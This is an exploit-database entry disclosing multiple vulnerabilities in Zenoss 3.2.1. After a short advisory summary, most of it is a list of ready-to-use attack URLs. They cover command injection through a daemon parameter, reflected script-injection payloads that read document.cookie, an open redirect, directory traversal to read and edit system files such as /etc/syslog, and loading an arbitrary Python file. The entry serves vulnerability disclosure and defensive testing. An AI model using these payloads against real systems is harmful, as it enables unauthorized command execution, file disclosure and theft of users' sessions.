Zenoss 3.2.1 - Multiple Vulnerabilities

EDB-ID:
37571

CVE:
N/A

EDB Verified: ✓

Author:
BRENDAN COLES

Type:
WEBAPPS

Exploit: / {}

Platform:
MULTIPLE

Date:
2012-07-30

Vulnerable App:

```
source: https://www.securityfocus.com/bid/54793/info

Zenoss is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability

An attacker can exploit these issues to retrieve arbitrary files, redirect
a user to a potentially malicious site, execute arbitrary commands, execute
HTML and script code in the context of the affected site, steal cookie-
based authentication credentials to perform unauthorized actions in the
context of a user's session, or disclose sensitive-information.

Zenoss 3.2.1 and prior are vulnerable.

http://www.example.com/zport/About/showDaemonXMLConfig?daemon=uname%20-a%26
http://www.example.com/zport/dmd/Events/Users/@@eventClassStatus?
tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cm
<script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/Events/Users/eventClassStatus?
tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cm
<script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/Events/Status/Snmp/@@eventClassStatus?
tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=">
<script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/ZenEventManager/listEventCommands?
tableName=eventCommands&sortedHeader=primarySortKey&sortRule=cmp&sortedSence=
<script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/backupInfo?
tableName=backupTable&sortedHeader=fileName&sortRule=cmp&sortedSence=">
<script>alert(document.cookie)</script>
http://www.example.com/zport/acl_users/cookieAuthHelper/login?
came_from=http%3a//example%2ecom/%3f
http://www.example.com/zport/About/viewDaemonLog?
daemon=../../../var/log/mysqld
http://www.example.com/zport/About/viewDaemonConfig?
daemon=../../../../etc/syslog
http://www.example.com/zport/About/editDaemonConfig?
daemon=../../../../etc/syslog
http://www.example.com/zport/RenderServer/plugin?
name=../../../../../../tmp/arbitrary-python-file
http://www.example.com/zport/dmd/ZenEventManager
http://www.example.com/manage
```

Tags:

Advisory/Source: Link